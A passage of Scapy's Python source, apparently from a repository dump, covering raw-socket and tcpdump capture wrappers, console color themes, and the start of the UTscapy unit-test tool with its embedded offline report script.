type=ETH_P_IP,  # type: int\n                     filter=None,  # type: Optional[str]\n                     iface=None,  # type: Optional[_GlobInterfaceType]\n                     promisc=None,  # type: Optional[bool]\n                     nofilter=0  # type: int\n                     ):\n            # type: (...) -> None\n            self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)  # noqa: E501\n            self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)\n            self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))  # noqa: E501\n            if iface is not None:\n                iface = network_name(iface)\n                self.iface = iface\n                self.ins.bind((iface, type))\n            else:\n                self.iface = \"any\"\n            try:\n                # Receive Auxiliary Data (VLAN tags)\n                self.ins.setsockopt(SOL_PACKET, PACKET_AUXDATA, 1)\n                self.ins.setsockopt(\n                    socket.SOL_SOCKET,\n                    SO_TIMESTAMPNS,\n                    1\n                )\n                self.auxdata_available = True\n            except OSError:\n                # Note: Auxiliary Data is only supported since\n                #       Linux 2.6.21\n                msg = \"Your Linux Kernel does not support Auxiliary Data!\"\n                log_runtime.info(msg)\n\n        def recv(self, x=MTU, **kwargs):\n            # type: (int, **Any) -> Optional[Packet]\n            data, sa_ll, ts = self._recv_raw(self.ins, x)\n            if sa_ll[2] == socket.PACKET_OUTGOING:\n                return None\n            if sa_ll[3] in conf.l2types:\n                cls = conf.l2types.num2layer[sa_ll[3]]  # type: Type[Packet]\n                lvl = 2\n            elif sa_ll[1] in conf.l3types:\n                cls = conf.l3types.num2layer[sa_ll[1]]\n                lvl = 3\n            else:\n                cls = conf.default_l2\n                warning(\"Unable to guess type (interface=%s protocol=%#x family=%i). Using %s\", sa_ll[0], sa_ll[1], sa_ll[3], cls.name)  # noqa: E501\n                lvl = 3\n\n            try:\n                pkt = cls(data, **kwargs)\n            except KeyboardInterrupt:\n                raise\n            except Exception:\n                if conf.debug_dissector:\n                    raise\n                pkt = conf.raw_layer(data)\n\n            if lvl == 2:\n                pkt = pkt.payload\n\n            if pkt is not None:\n                if ts is None:\n                    from scapy.arch.linux import get_last_packet_timestamp\n                    ts = get_last_packet_timestamp(self.ins)\n                pkt.time = ts\n            return pkt\n\n        def send(self, x):\n            # type: (Packet) -> int\n            try:\n                sx = raw(x)\n                if self.outs:\n                    x.sent_time = time.time()\n                    return self.outs.sendto(\n                        sx,\n                        (x.dst, 0)\n                    )\n            except AttributeError:\n                raise ValueError(\n                    \"Missing 'dst' attribute in the first layer to be \"\n                    \"sent using a native L3 socket ! (make sure you passed the \"\n                    \"IP layer)\"\n                )\n            except socket.error as msg:\n                log_runtime.error(msg)\n            return 0\n\n    class L3RawSocket6(L3RawSocket):\n        def __init__(self,\n                     type: int = ETH_P_IPV6,\n                     filter: Optional[str] = None,\n                     iface: Optional[_GlobInterfaceType] = None,\n                     promisc: Optional[bool] = None,\n                     nofilter: bool = False) -> None:\n            # NOTE: if fragmentation is needed, it will be done by the kernel (RFC 2292)  # noqa: E501\n            self.outs = socket.socket(\n                socket.AF_INET6,\n                socket.SOCK_RAW,\n                socket.IPPROTO_RAW\n            )\n            self.ins = socket.socket(\n                socket.AF_PACKET,\n                socket.SOCK_RAW,\n                socket.htons(type)\n            )\n            self.iface = cast(_GlobInterfaceType, iface)\n\n\nclass SimpleSocket(SuperSocket):\n    desc = \"wrapper around a classic socket\"\n    __selectable_force_select__ = True\n\n    def __init__(self, sock, basecls=None):\n        # type: (socket.socket, Optional[Type[Packet]]) -> None\n        self.ins = sock\n        self.outs = sock\n        if basecls is None:\n            basecls = conf.raw_layer\n        self.basecls = basecls\n\n    def recv_raw(self, x=MTU):\n        # type: (int) -> Tuple[Optional[Type[Packet]], Optional[bytes], Optional[float]]\n        return self.basecls, self.ins.recv(x), None\n\n    if WINDOWS:\n        @staticmethod\n        def select(sockets, remain=None):\n            # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket]\n            from scapy.automaton import select_objects\n            return select_objects(sockets, remain)\n\n\nclass StreamSocket(SimpleSocket):\n    \"\"\"\n    Wrap a stream socket into a layer 2 SuperSocket\n\n    :param sock: the socket to wrap\n    :param basecls: the base class packet to use to dissect the packet\n    \"\"\"\n    desc = \"transforms a stream socket into a layer 2\"\n\n    def __init__(self,\n                 sock,  # type: socket.socket\n                 basecls=None,  # type: Optional[Type[Packet]]\n                 ):\n        # type: (...) -> None\n        from scapy.sessions import streamcls\n        self.rcvcls = streamcls(basecls or conf.raw_layer)\n        self.metadata: Dict[str, Any] = {}\n        self.streamsession: Dict[str, Any] = {}\n        self._buf = b\"\"\n        super(StreamSocket, self).__init__(sock, basecls=basecls)\n\n    def recv(self, x=None, **kwargs):\n        # type: (Optional[int], Any) -> Optional[Packet]\n        if x is None:\n            x = MTU\n\n        while True:\n            # Block but in PEEK mode\n            data = self.ins.recv(x, socket.MSG_PEEK)\n            if data == b\"\":\n                raise EOFError\n            x = len(data)\n            pkt = self.rcvcls(self._buf + data, self.metadata, self.streamsession)\n            if pkt is None:  # Incomplete packet.\n                self._buf += self.ins.recv(x)\n            else:\n                break\n\n        self.metadata.clear()\n        # Strip any madding\n        pad = pkt.getlayer(conf.padding_layer)\n        if pad is not None and pad.underlayer is not None:\n            del pad.underlayer.payload\n        while pad is not None and not isinstance(pad, NoPayload):\n            x -= len(pad.load)\n            pad = pad.payload\n        # Only receive the packet length\n        self.ins.recv(x)\n        self._buf = b\"\"\n        return pkt\n\n\nclass StreamSocketPeekless(StreamSocket):\n    desc = \"StreamSocket that doesn't use MSG_PEEK\"\n\n    def __init__(self, sock, basecls=None):\n        # type: (socket.socket, Optional[Type[Packet]]) -> None\n        from scapy.sessions import TCPSession\n        self.sess = TCPSession(app=True)\n        super(StreamSocketPeekless, self).__init__(sock, basecls)\n\n    # 65535, the default value of x is the maximum length of a TLS record\n    def recv(self, x=None, **kwargs):\n        # type: (Optional[int], **Any) -> Optional[Packet]\n        if x is None:\n            x = MTU\n        # Block\n        try:\n            data = self.ins.recv(x)\n        except OSError:\n            raise EOFError\n        try:\n            pkt = self.sess.process(data, cls=self.basecls)  # type: ignore\n        except struct.error:\n            # Buffer underflow\n            pkt = None\n        if data == b\"\" and not pkt:\n            raise EOFError\n        if not pkt:\n            return self.recv(x)\n        return pkt\n\n    @staticmethod\n    def select(sockets, remain=None):\n        # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket]\n        queued = [\n            x\n            for x in sockets\n            if isinstance(x, StreamSocketPeekless) and x.sess.data\n        ]\n        if queued:\n            return queued  # type: ignore\n        return super(StreamSocketPeekless, StreamSocketPeekless).select(\n            sockets,\n            remain=remain,\n        )\n\n\n# Old name: SSLStreamSocket\nSSLStreamSocket = StreamSocketPeekless\n\n\nclass L2ListenTcpdump(SuperSocket):\n    desc = \"read packets at layer 2 using tcpdump\"\n\n    def __init__(self,\n                 iface=None,  # type: Optional[_GlobInterfaceType]\n                 promisc=None,  # type: Optional[bool]\n                 filter=None,  # type: Optional[str]\n                 nofilter=False,  # type: bool\n                 prog=None,  # type: Optional[str]\n                 quiet=False,  # type: bool\n                 *arg,  # type: Any\n                 **karg  # type: Any\n                 ):\n        # type: (...) -> None\n        self.outs = None\n        args = ['-w', '-', '-s', '65535']\n        self.iface = \"any\"\n        if iface is None and (WINDOWS or DARWIN):\n            self.iface = iface = conf.iface\n        if promisc is None:\n            promisc = conf.sniff_promisc\n        if iface is not None:\n            args.extend(['-i', network_name(iface)])\n        if not promisc:\n            args.append('-p')\n        if not nofilter:\n            if conf.except_filter:\n                if filter:\n                    filter = \"(%s) and not (%s)\" % (filter, conf.except_filter)\n                else:\n                    filter = \"not (%s)\" % conf.except_filter\n        if filter is not None:\n            args.append(filter)\n        self.tcpdump_proc = tcpdump(\n            None, prog=prog, args=args, getproc=True, quiet=quiet)\n        self.reader = PcapReader(self.tcpdump_proc.stdout)\n        self.ins = self.reader  # type: ignore\n\n    def recv(self, x=MTU, **kwargs):\n        # type: (int, **Any) -> Optional[Packet]\n        return self.reader.recv(x, **kwargs)\n\n    def close(self):\n        # type: () -> None\n        SuperSocket.close(self)\n        self.tcpdump_proc.kill()\n\n    @staticmethod\n    def select(sockets, remain=None):\n        # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket]\n        if (WINDOWS or DARWIN):\n            return sockets\n        return SuperSocket.select(sockets, remain=remain)\n\n\n# More abstract objects\n\nclass IterSocket(SuperSocket):\n    desc = \"wrapper around an iterable\"\n    nonblocking_socket = True\n\n    def __init__(self, obj):\n        # type: (_PacketIterable) -> None\n        if not obj:\n            self.iter = iter([])  # type: Iterator[Packet]\n        elif isinstance(obj, IterSocket):\n            self.iter = obj.iter\n        elif isinstance(obj, SndRcvList):\n            def _iter(obj=cast(SndRcvList, obj)):\n                # type: (SndRcvList) -> Iterator[Packet]\n                for s, r in obj:\n                    if s.sent_time:\n                        s.time = s.sent_time\n                    yield s\n                    yield r\n\n            self.iter = _iter()\n        elif isinstance(obj, (list, PacketList)):\n            if isinstance(obj[0], bytes):\n                self.iter = iter(obj)\n            else:\n                self.iter = (y for x in obj for y in x)\n        else:\n            self.iter = obj.__iter__()\n\n    @staticmethod\n    def select(sockets, remain=None):\n        # type: (List[SuperSocket], Any) -> List[SuperSocket]\n        return sockets\n\n    def recv(self, x=None, **kwargs):\n        # type: (Optional[int], Any) -> Optional[Packet]\n        try:\n            pkt = next(self.iter)\n            return pkt.__class__(bytes(pkt), **kwargs)\n        except StopIteration:\n            raise EOFError\n\n    def close(self):\n        # type: () -> None\n        pass\n"
  },
  {
    "path": "scapy/themes.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nColor themes for the interactive console.\n\"\"\"\n\n##################\n#  Color themes  #\n##################\n\nimport html\nimport sys\n\nfrom typing import (\n    Any,\n    List,\n    Optional,\n    Tuple,\n    cast,\n)\nfrom scapy.compat import Protocol\n\n\nclass ColorTable:\n    colors = {  # Format: (ansi, pygments)\n        # foreground\n        \"black\": (\"\\033[30m\", \"#ansiblack\"),\n        \"red\": (\"\\033[31m\", \"#ansired\"),\n        \"green\": (\"\\033[32m\", \"#ansigreen\"),\n        \"yellow\": (\"\\033[33m\", \"#ansiyellow\"),\n        \"blue\": (\"\\033[34m\", \"#ansiblue\"),\n        \"purple\": (\"\\033[35m\", \"#ansipurple\"),\n        \"cyan\": (\"\\033[36m\", \"#ansicyan\"),\n        \"white\": (\"\\033[37m\", \"#ansiwhite\"),\n        \"grey\": (\"\\033[38;5;246m\", \"#ansiwhite\"),\n        \"reset\": (\"\\033[39m\", \"noinherit\"),\n        # background\n        \"bg_black\": (\"\\033[40m\", \"bg:#ansiblack\"),\n        \"bg_red\": (\"\\033[41m\", \"bg:#ansired\"),\n        \"bg_green\": (\"\\033[42m\", \"bg:#ansigreen\"),\n        \"bg_yellow\": (\"\\033[43m\", \"bg:#ansiyellow\"),\n        \"bg_blue\": (\"\\033[44m\", \"bg:#ansiblue\"),\n        \"bg_purple\": (\"\\033[45m\", \"bg:#ansipurple\"),\n        \"bg_cyan\": (\"\\033[46m\", \"bg:#ansicyan\"),\n        \"bg_white\": (\"\\033[47m\", \"bg:#ansiwhite\"),\n        \"bg_reset\": (\"\\033[49m\", \"noinherit\"),\n        # specials\n        \"normal\": (\"\\033[0m\", \"noinherit\"),  # color & brightness\n        \"bold\": (\"\\033[1m\", \"bold\"),\n        \"uline\": (\"\\033[4m\", \"underline\"),\n        \"blink\": (\"\\033[5m\", \"\"),\n        \"invert\": (\"\\033[7m\", \"\"),\n    }\n    inv_map = {v[0]: v[1] for k, v in colors.items()}\n\n    def __repr__(self):\n        # type: () -> str\n        return \"<ColorTable>\"\n\n    def __getattr__(self, attr):\n        # type: (str) -> str\n        return self.colors.get(attr, [\"\"])[0]\n\n    def ansi_to_pygments(self, x):\n        # type: (str) -> str\n        \"\"\"\n        Transform ansi encoded text to Pygments text\n        \"\"\"\n        for k, v in self.inv_map.items():\n            x = x.replace(k, \" \" + v)\n        return x.strip()\n\n\nColor = ColorTable()\n\n\nclass _ColorFormatterType(Protocol):\n    def __call__(self,\n                 val: Any,\n                 fmt: Optional[str] = None,\n                 fmt2: str = \"\",\n                 before: str = \"\",\n                 after: str = \"\") -> str:\n        pass\n\n\ndef create_styler(fmt=None,  # type: Optional[str]\n                  before=\"\",  # type: str\n                  after=\"\",  # type: str\n                  fmt2=\"%s\"  # type: str\n                  ):\n    # type: (...) -> _ColorFormatterType\n    def do_style(val: Any,\n                 fmt: Optional[str] = fmt,\n                 fmt2: str = fmt2,\n                 before: str = before,\n                 after: str = after) -> str:\n        if fmt is None:\n            sval = str(val)\n        else:\n            sval = fmt % val\n        return fmt2 % (before + sval + after)\n    return do_style\n\n\nclass ColorTheme:\n    style_normal = \"\"\n    style_prompt = \"\"\n    style_punct = \"\"\n    style_id = \"\"\n    style_not_printable = \"\"\n    style_layer_name = \"\"\n    style_field_name = \"\"\n    style_field_value = \"\"\n    style_emph_field_name = \"\"\n    style_emph_field_value = \"\"\n    style_depreciate_field_name = \"\"\n    style_packetlist_name = \"\"\n    style_packetlist_proto = \"\"\n    style_packetlist_value = \"\"\n    style_fail = \"\"\n    style_success = \"\"\n    style_odd = \"\"\n    style_even = \"\"\n    style_opening = \"\"\n    style_active = \"\"\n    style_closed = \"\"\n    style_left = \"\"\n    style_right = \"\"\n    style_logo = \"\"\n\n    def __repr__(self):\n        # type: () -> str\n        return \"<%s>\" % self.__class__.__name__\n\n    def __reduce__(self):\n        # type: () -> Tuple[type, Any, Any]\n        return (self.__class__, (), ())\n\n    def __getattr__(self, attr):\n        # type: (str) -> _ColorFormatterType\n        if attr in [\"__getstate__\", \"__setstate__\", \"__getinitargs__\",\n                    \"__reduce_ex__\"]:\n            raise AttributeError()\n        return create_styler()\n\n    def format(self, string, fmt):\n        # type: (str, str) -> str\n        for style in fmt.split(\"+\"):\n            string = getattr(self, style)(string)\n        return string\n\n\nclass NoTheme(ColorTheme):\n    pass\n\n\nclass AnsiColorTheme(ColorTheme):\n    def __getattr__(self, attr):\n        # type: (str) -> _ColorFormatterType\n        if attr.startswith(\"__\"):\n            raise AttributeError(attr)\n        s = \"style_%s\" % attr\n        if s in self.__class__.__dict__:\n            before = getattr(self, s)\n            after = self.style_normal\n        elif not isinstance(self, BlackAndWhite) and attr in Color.colors:\n            before = Color.colors[attr][0]\n            after = Color.colors[\"normal\"][0]\n        else:\n            before = after = \"\"\n\n        return create_styler(before=before, after=after)\n\n\nclass BlackAndWhite(AnsiColorTheme, NoTheme):\n    pass\n\n\nclass DefaultTheme(AnsiColorTheme):\n    style_normal = Color.normal\n    style_prompt = Color.blue + Color.bold\n    style_punct = Color.normal\n    style_id = Color.blue + Color.bold\n    style_not_printable = Color.white\n    style_depreciate_field_name = Color.grey\n    style_layer_name = Color.red + Color.bold\n    style_field_name = Color.blue\n    style_field_value = Color.purple\n    style_emph_field_name = Color.blue + Color.uline + Color.bold\n    style_emph_field_value = Color.purple + Color.uline + Color.bold\n    style_packetlist_name = Color.red + Color.bold\n    style_packetlist_proto = Color.blue\n    style_packetlist_value = Color.purple\n    style_fail = Color.red + Color.bold\n    style_success = Color.blue + Color.bold\n    style_even = Color.black + Color.bold\n    style_odd = Color.black\n    style_opening = Color.yellow\n    style_active = Color.black\n    style_closed = Color.white\n    style_left = Color.blue + Color.invert\n    style_right = Color.red + Color.invert\n    style_logo = Color.green + Color.bold\n\n\nclass BrightTheme(AnsiColorTheme):\n    style_normal = Color.normal\n    style_punct = Color.normal\n    style_id = Color.yellow + Color.bold\n    style_layer_name = Color.red + Color.bold\n    style_field_name = Color.yellow + Color.bold\n    style_field_value = Color.purple + Color.bold\n    style_emph_field_name = Color.yellow + Color.bold\n    style_emph_field_value = Color.green + Color.bold\n    style_packetlist_name = Color.red + Color.bold\n    style_packetlist_proto = Color.yellow + Color.bold\n    style_packetlist_value = Color.purple + Color.bold\n    style_fail = Color.red + Color.bold\n    style_success = Color.blue + Color.bold\n    style_even = Color.black + Color.bold\n    style_odd = Color.black\n    style_left = Color.cyan + Color.invert\n    style_right = Color.purple + Color.invert\n    style_logo = Color.green + Color.bold\n\n\nclass RastaTheme(AnsiColorTheme):\n    style_normal = Color.normal + Color.green + Color.bold\n    style_prompt = Color.yellow + Color.bold\n    style_punct = Color.red\n    style_id = Color.green + Color.bold\n    style_not_printable = Color.green\n    style_layer_name = Color.red + Color.bold\n    style_field_name = Color.yellow + Color.bold\n    style_field_value = Color.green + Color.bold\n    style_emph_field_name = Color.green\n    style_emph_field_value = Color.green\n    style_packetlist_name = Color.red + Color.bold\n    style_packetlist_proto = Color.yellow + Color.bold\n    style_packetlist_value = Color.green + Color.bold\n    style_fail = Color.red\n    style_success = Color.red + Color.bold\n    style_even = Color.yellow\n    style_odd = Color.green\n    style_left = Color.yellow + Color.invert\n    style_right = Color.red + Color.invert\n    style_logo = Color.green + Color.bold\n\n\nclass ColorOnBlackTheme(AnsiColorTheme):\n    \"\"\"Color theme for black backgrounds\"\"\"\n    style_normal = Color.normal\n    style_prompt = Color.green + Color.bold\n    style_punct = Color.normal\n    style_id = Color.green\n    style_not_printable = Color.black + Color.bold\n    style_layer_name = Color.yellow + Color.bold\n    style_field_name = Color.cyan\n    style_field_value = Color.purple + Color.bold\n    style_emph_field_name = Color.cyan + Color.bold\n    style_emph_field_value = Color.red + Color.bold\n    style_packetlist_name = Color.black + Color.bold\n    style_packetlist_proto = Color.yellow + Color.bold\n    style_packetlist_value = Color.purple + Color.bold\n    style_fail = Color.red + Color.bold\n    style_success = Color.green\n    style_even = Color.black + Color.bold\n    style_odd = Color.white\n    style_opening = Color.yellow\n    style_active = Color.white + Color.bold\n    style_closed = Color.black + Color.bold\n    style_left = Color.cyan + Color.bold\n    style_right = Color.red + Color.bold\n    style_logo = Color.green + Color.bold\n\n\nclass FormatTheme(ColorTheme):\n    def __getattr__(self, attr: str) -> _ColorFormatterType:\n        if attr.startswith(\"__\"):\n            raise AttributeError(attr)\n        colfmt = self.__class__.__dict__.get(\"style_%s\" % attr, \"%s\")\n        return create_styler(fmt2=colfmt)\n\n\nclass LatexTheme(FormatTheme):\n    r\"\"\"\n    You can prepend the output from this theme with\n    \\tt\\obeyspaces\\obeylines\\tiny\\noindent\n    \"\"\"\n    style_prompt = r\"\\textcolor{blue}{%s}\"\n    style_not_printable = r\"\\textcolor{gray}{%s}\"\n    style_layer_name = r\"\\textcolor{red}{\\bf %s}\"\n    style_field_name = r\"\\textcolor{blue}{%s}\"\n    style_field_value = r\"\\textcolor{purple}{%s}\"\n    style_emph_field_name = r\"\\textcolor{blue}{\\underline{%s}}\"  # ul\n    style_emph_field_value = r\"\\textcolor{purple}{\\underline{%s}}\"  # ul\n    style_packetlist_name = r\"\\textcolor{red}{\\bf %s}\"\n    style_packetlist_proto = r\"\\textcolor{blue}{%s}\"\n    style_packetlist_value = r\"\\textcolor{purple}{%s}\"\n    style_fail = r\"\\textcolor{red}{\\bf %s}\"\n    style_success = r\"\\textcolor{blue}{\\bf %s}\"\n    style_left = r\"\\textcolor{blue}{%s}\"\n    style_right = r\"\\textcolor{red}{%s}\"\n#    style_even = r\"}{\\bf \"\n#    style_odd = \"\"\n    style_logo = r\"\\textcolor{green}{\\bf %s}\"\n\n    def __getattr__(self, attr: str) -> _ColorFormatterType:\n        from scapy.utils import tex_escape\n        styler = super(LatexTheme, self).__getattr__(attr)\n        return cast(\n            _ColorFormatterType,\n            lambda x, *args, **kwargs: styler(tex_escape(str(x)), *args, **kwargs),\n        )\n\n\nclass LatexTheme2(FormatTheme):\n    style_prompt = r\"@`@textcolor@[@blue@]@@[@%s@]@\"\n    style_not_printable = r\"@`@textcolor@[@gray@]@@[@%s@]@\"\n    style_layer_name = r\"@`@textcolor@[@red@]@@[@@`@bfseries@[@@]@%s@]@\"\n    style_field_name = r\"@`@textcolor@[@blue@]@@[@%s@]@\"\n    style_field_value = r\"@`@textcolor@[@purple@]@@[@%s@]@\"\n    style_emph_field_name = r\"@`@textcolor@[@blue@]@@[@@`@underline@[@%s@]@@]@\"\n    style_emph_field_value = r\"@`@textcolor@[@purple@]@@[@@`@underline@[@%s@]@@]@\"  # noqa: E501\n    style_packetlist_name = r\"@`@textcolor@[@red@]@@[@@`@bfseries@[@@]@%s@]@\"\n    style_packetlist_proto = r\"@`@textcolor@[@blue@]@@[@%s@]@\"\n    style_packetlist_value = r\"@`@textcolor@[@purple@]@@[@%s@]@\"\n    style_fail = r\"@`@textcolor@[@red@]@@[@@`@bfseries@[@@]@%s@]@\"\n    style_success = r\"@`@textcolor@[@blue@]@@[@@`@bfseries@[@@]@%s@]@\"\n    style_even = r\"@`@textcolor@[@gray@]@@[@@`@bfseries@[@@]@%s@]@\"\n#    style_odd = r\"@`@textcolor@[@black@]@@[@@`@bfseries@[@@]@%s@]@\"\n    style_left = r\"@`@textcolor@[@blue@]@@[@%s@]@\"\n    style_right = r\"@`@textcolor@[@red@]@@[@%s@]@\"\n    style_logo = r\"@`@textcolor@[@green@]@@[@@`@bfseries@[@@]@%s@]@\"\n\n\nclass HTMLTheme(FormatTheme):\n    style_prompt = \"<span class=prompt>%s</span>\"\n    style_not_printable = \"<span class=not_printable>%s</span>\"\n    style_layer_name = \"<span class=layer_name>%s</span>\"\n    style_field_name = \"<span class=field_name>%s</span>\"\n    style_field_value = \"<span class=field_value>%s</span>\"\n    style_emph_field_name = \"<span class=emph_field_name>%s</span>\"\n    style_emph_field_value = \"<span class=emph_field_value>%s</span>\"\n    style_packetlist_name = \"<span class=packetlist_name>%s</span>\"\n    style_packetlist_proto = \"<span class=packetlist_proto>%s</span>\"\n    style_packetlist_value = \"<span class=packetlist_value>%s</span>\"\n    style_fail = \"<span class=fail>%s</span>\"\n    style_success = \"<span class=success>%s</span>\"\n    style_even = \"<span class=even>%s</span>\"\n    style_odd = \"<span class=odd>%s</span>\"\n    style_left = \"<span class=left>%s</span>\"\n    style_right = \"<span class=right>%s</span>\"\n\n\nclass HTMLTheme2(HTMLTheme):\n    style_prompt = \"#[#span class=prompt#]#%s#[#/span#]#\"\n    style_not_printable = \"#[#span class=not_printable#]#%s#[#/span#]#\"\n    style_layer_name = \"#[#span class=layer_name#]#%s#[#/span#]#\"\n    style_field_name = \"#[#span class=field_name#]#%s#[#/span#]#\"\n    style_field_value = \"#[#span class=field_value#]#%s#[#/span#]#\"\n    style_emph_field_name = \"#[#span class=emph_field_name#]#%s#[#/span#]#\"\n    style_emph_field_value = \"#[#span class=emph_field_value#]#%s#[#/span#]#\"\n    style_packetlist_name = \"#[#span class=packetlist_name#]#%s#[#/span#]#\"\n    style_packetlist_proto = \"#[#span class=packetlist_proto#]#%s#[#/span#]#\"\n    style_packetlist_value = \"#[#span class=packetlist_value#]#%s#[#/span#]#\"\n    style_fail = \"#[#span class=fail#]#%s#[#/span#]#\"\n    style_success = \"#[#span class=success#]#%s#[#/span#]#\"\n    style_even = \"#[#span class=even#]#%s#[#/span#]#\"\n    style_odd = \"#[#span class=odd#]#%s#[#/span#]#\"\n    style_left = \"#[#span class=left#]#%s#[#/span#]#\"\n    style_right = \"#[#span class=right#]#%s#[#/span#]#\"\n\n\ndef apply_ipython_style(shell):\n    # type: (Any) -> None\n    \"\"\"Updates the specified IPython console shell with\n    the conf.color_theme scapy theme.\"\"\"\n    try:\n        from IPython.terminal.prompts import Prompts, Token\n    except Exception:\n        from scapy.error import log_loading\n        log_loading.warning(\n            \"IPython too old. Shell color won't be handled.\"\n        )\n        return\n    from scapy.config import conf\n    scapy_style = {}\n    # Overwrite colors\n    if isinstance(conf.color_theme, NoTheme):\n        shell.colors = 'nocolor'\n    elif isinstance(conf.color_theme, BrightTheme):\n        # lightbg is optimized for light backgrounds\n        shell.colors = 'lightbg'\n    elif isinstance(conf.color_theme, ColorOnBlackTheme):\n        # linux is optimised for dark backgrounds\n        shell.colors = 'linux'\n    else:\n        # default\n        shell.colors = 'neutral'\n    try:\n        get_ipython()  # type: ignore\n        # This function actually contains tons of hacks\n        color_magic = shell.magics_manager.magics[\"line\"][\"colors\"]\n        color_magic(shell.colors)\n    except NameError:\n        pass\n    # Prompt Style\n    if isinstance(conf.prompt, Prompts):\n        # Set custom prompt style\n        shell.prompts_class = conf.prompt\n    else:\n        if isinstance(conf.color_theme, (FormatTheme, NoTheme)):\n            # Formatable\n            if isinstance(conf.color_theme, HTMLTheme):\n                prompt = html.escape(conf.prompt)\n            elif isinstance(conf.color_theme, LatexTheme):\n                from scapy.utils import tex_escape\n                prompt = tex_escape(conf.prompt)\n            else:\n                prompt = conf.prompt\n            prompt = conf.color_theme.prompt(prompt)\n        else:\n            # Needs to be manually set\n            prompt = str(conf.prompt)\n            scapy_style[Token.Prompt] = Color.ansi_to_pygments(\n                conf.color_theme.style_prompt\n            )\n\n        class ClassicPrompt(Prompts):\n            def in_prompt_tokens(self, cli=None):\n                # type: (Any) -> List[Tuple[Any, str]]\n                return [(Token.Prompt, prompt), ]\n\n            def out_prompt_tokens(self):\n                # type: () -> List[Tuple[Any, str]]\n                return [(Token.OutPrompt, ''), ]\n        # Apply classic prompt style\n        shell.prompts_class = ClassicPrompt\n        sys.ps1 = prompt\n    # Register scapy color style\n    shell.highlighting_style_overrides = scapy_style\n    # Apply if Live\n    try:\n        get_ipython().refresh_style()  # type: ignore\n    except NameError:\n        pass\n"
  },
  {
    "path": "scapy/tools/UTscapy.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nUnit testing infrastructure for Scapy\n\"\"\"\n\nimport builtins\nimport bz2\nimport copy\nimport getopt\nimport glob\nimport hashlib\nimport importlib\nimport json\nimport logging\nimport os\nimport os.path\nimport sys\nimport threading\nimport time\nimport traceback\nimport warnings\nimport zlib\n\nfrom scapy.consts import WINDOWS, BIG_ENDIAN\nfrom scapy.config import conf\nfrom scapy.compat import base64_bytes\nfrom scapy.themes import DefaultTheme, BlackAndWhite\nfrom scapy.utils import tex_escape\n\n\n# Check UTF-8 support #\n\ndef _utf8_support():\n    \"\"\"\n    Check UTF-8 support for the output\n    \"\"\"\n    try:\n        if WINDOWS:\n            return (sys.stdout.encoding == \"utf-8\")\n        return True\n    except AttributeError:\n        return False\n\n\nif _utf8_support():\n    arrow = \"\\u2514\"\n    dash = \"\\u2501\"\n    checkmark = \"\\u2713\"\nelse:\n    arrow = \"->\"\n    dash = \"--\"\n    checkmark = \"OK\"\n\n\n#   Util class   #\n\nclass Bunch:\n    __init__ = lambda self, **kw: setattr(self, '__dict__', kw)\n\n\ndef retry_test(func):\n    \"\"\"Retries the passed function 3 times before failing\"\"\"\n    v = None\n    tb = None\n    for _ in range(3):\n        try:\n            return func()\n        except Exception:\n            t, v, tb = sys.exc_info()\n            time.sleep(1)\n\n    if v and tb:\n        raise v.with_traceback(tb)\n\n\ndef scapy_path(fname):\n    \"\"\"Resolves a path relative to scapy's root folder\"\"\"\n    if fname.startswith('/'):\n        fname = fname[1:]\n    return os.path.abspath(os.path.join(\n        os.path.dirname(__file__), '../../', fname\n    ))\n\n\nclass no_debug_dissector:\n    \"\"\"Context object used to disable conf.debug_dissector\"\"\"\n    def __init__(self, reverse=False):\n        self.new_value = reverse\n\n    def __enter__(self):\n        self.old_dbg = conf.debug_dissector\n        conf.debug_dissector = self.new_value\n\n    def __exit__(self, exc_type, exc_value, traceback):\n        conf.debug_dissector = self.old_dbg\n\n\n#    Import tool    #\n\n\ndef import_module(name):\n    if name.endswith(\".py\"):\n        name = name[:-3]\n    try:\n        return importlib.import_module(name, package=\"scapy\")\n    except Exception:\n        return importlib.import_module(name)\n\n\n#    INTERNAL/EXTERNAL FILE EMBEDDING    #\n\nclass File:\n    def __init__(self, name, URL, local):\n        self.name = name\n        self.local = local.encode(\"utf8\")\n        self.URL = URL\n\n    def get_local(self):\n        return bz2.decompress(base64_bytes(self.local))\n\n    def get_URL(self):\n        return self.URL\n\n    def write(self, dir):\n        if dir:\n            dir += \"/\"\n        with open(dir + self.name, \"wb\") as fdesc:\n            fdesc.write(self.get_local())\n\n\n# Embed a base64 encoded bziped version of js and css files\n# to work if you can't reach Internet.\nclass External_Files:\n    UTscapy_js = File(\"UTscapy.js\", \"https://scapy.net/files/UTscapy/UTscapy.js\",  # noqa: E501\n                      \"\"\"QlpoOTFBWSZTWWVijKQAAXxfgERUYOvAChIhBAC\n/79+qQAH8AFA0poANAMjQAAAGABo0NGEZNBo0\\n0BhgAaNDRhGTQaNNAYFURJinp\nlGaKbRkJiekzSenqmpA0Gm1LFMpRUklVQlK9WUTZYpNFI1IiEWE\\nFT09Sfj5uO+\nqO6S5DQwKIxM92+Zku94wL6V/1KTKan2c66Ug6SmVKy1ZIrgauxMVLF5xLH0lJRQ\nu\\nKlqLF10iatlTzqvw7S9eS3+h4lu3GZyMgoOude3NJ1pQy8eo+X96IYZw+yneh\nsiPj73m0rnvQ3QX\\nZ9BJQiZQYQ5/uNcl2WOlC5vyQqV/BWsnr2NZYLYXQLDs/Bf\nfk4ZfR4/SH6GfA5Xlek4xHNHqbSsR\\nbREOgueXo3kcYi94K6hSO3ldD2O/qJXOF\nqJ8o3TE2aQahxtQpCVUKQMvODHwu2YkaORYZC6gihEa\\nllcHDIAtRPScBACAJnU\nggYhLDX6DEko7nC9GvAw5OcEkiyDUbLdiGCzDaXWMC2DuQ2Y6sGf6NcRu\\nON7QS\nbhHsPc4KKmZ/xdyRThQkGVijKQ=\\n\"\"\")\n    UTscapy_css = File(\"UTscapy.css\", \"https://scapy.net/files/UTscapy/UTscapy.css\",  # 